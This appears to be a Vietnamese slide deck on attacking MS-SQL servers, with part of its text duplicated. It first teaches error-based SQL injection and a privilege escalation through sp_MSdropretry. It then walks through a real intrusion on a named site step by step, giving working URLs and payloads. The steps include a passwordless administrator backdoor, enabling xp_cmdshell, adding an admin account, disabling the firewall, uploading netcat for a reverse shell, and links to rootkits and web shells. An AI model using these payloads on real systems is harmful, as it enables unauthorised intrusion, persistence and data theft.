PHẦN I: CÁC KĨ THUẬT HACK
TRONG SQL

• sql-injection

• convert-magic

• cross-database

PHÁT HIỆN LỖI SQL-INJECTION

http://www.company.com/product/price.asp?id=1

select price from product where id=1

http://www.company.com/product/price.asp?id=1’

select price from product where id=1’

Unclosed quotation mark before the character string ‘

http://www.company.com/product/price.asp?id=[...]

KĨ THUẬT CONVERT-MAGIC

http://wwww.company.com/product/price.asp?id=1 and 1=convert(int,@@version) --sp_password

select price from product where id=1 and 1=convert(int,@@version)--sp_password

KĨ THUẬT CONVERT-MAGIC

Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.623 (Intel X86) Nov 23 1998 21:08:09 Copyright (c) 1988-1998 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 3)' to a column of data type int.

KĨ THUẬT CONVERT-MAGIC

'sp_password' was found in the text of this event.-- The text has been replaced with this comment for security reasons.

• @@servername, db_name(), system_user, ...

• ‘ “ ( )

LỖI CROSS-DATABASE CỦA MS-SQL

use testdatabase

create proc dbo.test as select * from master.dbo.sysxlogins

go

exec test

select * from master.dbo.sysxlogins

• sa == dbo

• db_owner có thể create & design các object của dbo

• SID của proc dbo.test == SID của master.dbo.sysxlogins

LỖI INJECTION CỦA MASTER..SP_MSDROPRETRY

CREATE PROCEDURE sp_MSdropretry

(@tname sysname, @pname sysname)

as

declare @retcode int

/*

** To public

*/

exec ('drop table ' + @tname)

if @@ERROR <> 0 return(1)

exec ('drop procedure ' + @pname)

if @@ERROR <> 0 return(1)

return (0)

NÂNG QUYỀN QUA MASTER..SP_MSDROPRETRY

exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'

exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx'

exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx'

exec sp_executesql N'drop view dbo.test‘

drop table xx update sysusers set sid=0x01 where name='dbo' drop procedure xx

drop table xx update dbo.test set sid=0x01,roles=0x01 where name=guest drop table xx

• guest == db_owner của database master

PHẦN 2: MINH HỌA HACK SQL

• Khai thác lỗi sql-injection tại nhaxinh.com.vn

• Một số kinh nghiệm khi hack SQL

LỖI SQL-INJECTION TẠI NHAXINH.COM.VN

• dùng “proxy.ia2.marketscore.com:80” ðể tránh bị ghi nhật kí

http://www.nhaxinh.com.vn/FullStory.asp?id=1

http://www.nhaxinh.com.vn/FullStory.asp?id=1’

LỖI SQL-INJECTION TẠI NHAXINH.COM.VN

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBCSQLServerDriver] [SQLServer]

Unclosed quotation mark before the character string ''.

/Including/general.asp, line 840\

XÁC ĐỊNH VERSION

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]

XÁC ĐỊNH VERSION

[SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright (c) 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

/Including/general.asp, line 840

XÁC ĐỊNH SERVER_NAME

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@servername)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a column of data type int.

/Including/general.asp, line 840

XÁC ĐỊNH DATABASE_NAME

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,db_name())--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a column of data type int.

/Including/general.asp, line 840

XÁC ĐỊNH USER_NAME

http://www.nhaxinh.com.vn/FullStory.asp?

id=1 and 1=convert(int,system_user)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a column of data type int.

/Including/general.asp, line 840

• user_name(): các member của “sysadmin” được map sang “dbo”

XÁC ĐỊNH MỨC QUYỀN CỦA SQL SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been denied. You must access this provider through a linked server.

/Including/general.asp, line 840

• admin đã disable openrowset/sqloledb, sẽ enable lại sau

ĐƯA GUEST VÀO DB_OWNER CỦA DATABASE MASTER1

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test'--

• Tại sao? guest là db_owner của database master nên guest có thể thi hành xp_regwrite hoặc xp_cmdshell

XÁC NHẬN GUEST ĐÃ NẰM TRONG DB_OWNER CỦA DATABASE MASTER CHƯA ?

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 name from master..sysusers where roles=0x01 and name not in('dbo')))--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'guest' to a column of data type int.

/Including/general.asp, line 840

CÀI CỬA SAU “BUILTIN\ADMINISTRATORS”

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'--

• login vào database với username là “BUILTIN\ADMINISTRATORS” mà không cần password

TẠI SAO KHÔNG ADD THẲNG USER “NHAXINH” VÀO SYSADMIN?

exec master..sp_addsrvrolemember 'nhaxinh',sysadmin

• Lỗi: Invalid object name ‘XXXX’ khi vấn tin CSDL sau này

ENABLE OPENROWSET/OLEDB & XÁC ĐỊNH LẠI MỨC QUYỀN CỦA SQL SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1 exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWORD,0—

ENABLE OPENROWSET/OLEDB & XÁC ĐỊNH LẠI MỨC QUYỀN CỦA SQL SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'.

/Including/general.asp, line 840

DISABLE FIREWALL CỦA NT & TẮT LOG TRONG SQL

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'—

DISABLE FIREWALL CỦA NT & TẮT LOG TRONG SQL

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'—

LỖI KHI ENABLE MASTER..XP_CMDSHELL & “ALLOW UPDATES”

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')—

LỖI KHI ENABLE MASTER..XP_CMDSHELL & “ALLOW UPDATES”

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off master..sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure 'allow updates', '1' reconfigure with override'. The OLE DB provider 'sqloledb' indicates that the object has no columns.

/Including/general.asp, line 840

THÊM DÒNG “SELECT 1” ĐỂ KHẮC PHỤC LỖI

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--

• set “allow updates”=1 cho phép update các “system-table” (sysusers, syslogins,...) trực tiếp, không qua các “system-procedure”

CHÚ Ý KHI CHẠY MASTER..XP_CMDSHELL

• exec master..xp_cmdshell ‘dir c:\’ -- “SQLAgentCmdExec”

• select * from openrowset('sqloledb', 'server=;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "dir c:\"') -- “NT AUTHORITY\SYSTEM”

XÁC ĐỊNH IP CỦA SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'ipconfig'--

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 b from t where b like '%25IP Address%25'))-- (%25 == “%”)

XÁC ĐỊNH IP CỦA SERVER

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 203.162.7.70 ' to a column of data type int.

/Including/general.asp, line 840

DO THÁM IP “203.162.7.70”

C:\> ping 203.162.7.70

Pinging 203.162.7.70 with 32 bytes of data:

Reply from 203.162.7.70: bytes=32 time=232ms TTL=118

C:\> ftp 203.162.7.70

Connected to 203.162.7.70.

220 unesco Microsoft FTP Service (Version 5.0).

User (203.162.7.70:(none)):

• 203.162.7.70 == panvietnam.com

FTP TRỰC TIẾP - THẤT BẠI !

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == “&”)

FTP TRỰC TIẾP - THẤT BẠI !

C:\> ftp 203.162.7.70

Connected to 203.162.7.70.

220 unesco Microsoft FTP Service

(Version 5.0).

User (203.162.7.70:(none)): a

331 Password required for a.

Password:

530 User a cannot log in.

Login failed.

ftp> bye

UPLOAD NETCAT LÊN SERVER

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f')-- (%3E == “>”)

UPLOAD NETCAT LÊN SERVER

echo open a.b.c.d >f

echo user a a >>f

echo bin >> f

echo cd a >>f

echo mget * >>f

echo quit >>f

ftp -v -i -n -s:f

del f

THẨM TRA XEM NETCAT ĐÃ ĐƯỢC UPLOAD THÀNH CÔNG CHƯA ?

http://www.nhaxinh.com.vn/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'dir nx.exe'--

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=1))--

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=6))—

THẨM TRA XEM NETCAT ĐẴ ĐƯỢC UPLOAD THÀNH CÔNG CHƯA ?

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '08/17/2003 11:31a 11,776 nx.exe' to a column of data type int.

/Including/general.asp, line 840

NỐI NETCAT NGHỊCH CHUYỂN RA NGOÀI

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "nx -d -e cmd a.b.c.d 8080"')--

C:\WINNT.SBS\system32>nx -vv -l -p 8080

listening on [any] 8080 ...

NỐI NETCAT NGHỊCH CHUYỂN RA NGOÀI

203.162.7.70: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [a.b.c.d] from (UNKNOWN) [203.162.7.70] 3343: NO_DATA

Microsoft Windows 2000 [Version 5.00.2195]

C:\WINNT\system32>_

NÊN CÀI CỬA SAU NÀO CHO SHELL ?

• Hacker Defender - http://rootkit.host.sk

• TYT - http://www.nhomvicki.net/tmp/tyt0.zip

• yyt_hac's ntrootkit - http://www.yythac.com

• WinShell - http://www.janker.org

• ... (http://www.ttian.net)

NÊN CÀI CỬA SAU NÀO CHO WEB ?

• 4in1.asp - http://www.nhomvicki.net/tmp/4in1.asp

• ntaddy.asp

C:\> net localgroup administrators IWAM_UNESCO /add

The command completed successfully.

C:\> iisreset

Attempting stop...

Internet services successfully stopped

Attempting start...

Internet services successfully restarted

(IIS bây giờ sẽ chạy với mức quyền Administrators)

LỜI KHUYÊN CHO ADMIN CỦA NETNAM.VN

• Thiết lập tường lửa mạnh cho NT

• Dùng chương trình “fport.exe” để phát hiện cửa sau

• Ðắp bản patch mới nhất cho MS-SQL

• Hiệu chỉnh file “%SystemRoot%\Help\iisHelp\common\500-100.asp”

• Sửa lỗi cho các file .asp bị dính sql-injection

• Xem nhật kí của IIS định kì

XIN CẢM ƠN

XÂM NHẬP MÁY CHỦ MS-SQL QUA LỖI SQL-INJECTION & CROSS-DATABASE

PHẦN I: CÁC KĨ THUẬT HACK TRONG SQL

• sql-injection

• convert-magic

• cross-database

PHÁT HIỆN LỖI SQL-INJECTION

http://www.company.com/product/price.asp?id=1

select price from product where id=1

http://www.company.com/product/price.asp?id=1’

select price from product where id=1’

Unclosed quotation mark before the character string ‘

http://www.company.com/product/price.asp?id=[...]

KĨ THUẬT CONVERT-MAGIC

http://wwww.company.com/product/price.asp?id=1 and 1=convert(int,@@version) --sp_password

select price from product where id=1 and 1=convert(int,@@version)--sp_password

KĨ THUẬT CONVERT-MAGIC

Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.623 (Intel X86) Nov 23 1998 21:08:09 Copyright (c) 1988-1998 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 3)' to a column of data type int.

KĨ THUẬT CONVERT-MAGIC

'sp_password' was found in the text of this event.-- The text has been replaced with this comment for security reasons.

• @@servername, db_name(), system_user, ...

• ‘ “ ( )

LỖI CROSS-DATABASE CỦA MS-SQL

use testdatabase

create proc dbo.test as select * from master.dbo.sysxlogins

go

exec test

select * from master.dbo.sysxlogins

• sa == dbo

• db_owner có thể create & design các object của dbo

• SID của proc dbo.test == SID của master.dbo.sysxlogins

LỖI INJECTION CỦA MASTER..SP_MSDROPRETRY

CREATE PROCEDURE sp_MSdropretry

(@tname sysname, @pname sysname)

as

declare @retcode int

/*

** To public

*/

exec ('drop table ' + @tname)

if @@ERROR <> 0 return(1)

exec ('drop procedure ' + @pname)

if @@ERROR <> 0 return(1)

return (0)

NÂNG QUYỀN QUA MASTER..SP_MSDROPRETRY

exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'

exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx'

exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx'

exec sp_executesql N'drop view dbo.test‘

drop table xx update sysusers set sid=0x01 where name='dbo' drop procedure xx

drop table xx update dbo.test set sid=0x01,roles=0x01 where name=guest drop table xx

• guest == db_owner của database master

PHẦN 2: MINH HỌA HACK SQL

• Khai thác lỗi sql-injection tại nhaxinh.com.vn

• Một số kinh nghiệm khi hack SQL

LỖI SQL-INJECTION TẠI NHAXINH.COM.VN

• dùng “proxy.ia2.marketscore.com:80” ðể tránh bị ghi nhật kí

http://www.nhaxinh.com.vn/FullStory.asp?id=1

http://www.nhaxinh.com.vn/FullStory.asp?id=1’

LỖI SQL-INJECTION TẠI NHAXINH.COM.VN

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBCSQLServerDriver] [SQLServer]

Unclosed quotation mark before the character string ''.

/Including/general.asp, line 840\

XÁC ĐỊNH VERSION

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]

XÁC ĐỊNH VERSION

[SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright (c) 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

/Including/general.asp, line 840

XÁC ĐỊNH SERVER_NAME

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@servername)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a column of data type int.

/Including/general.asp, line 840

XÁC ĐỊNH DATABASE_NAME

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,db_name())--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a column of data type int.

/Including/general.asp, line 840

PHẦN I: CÁC KĨ THUẬT HACK
TRONG SQL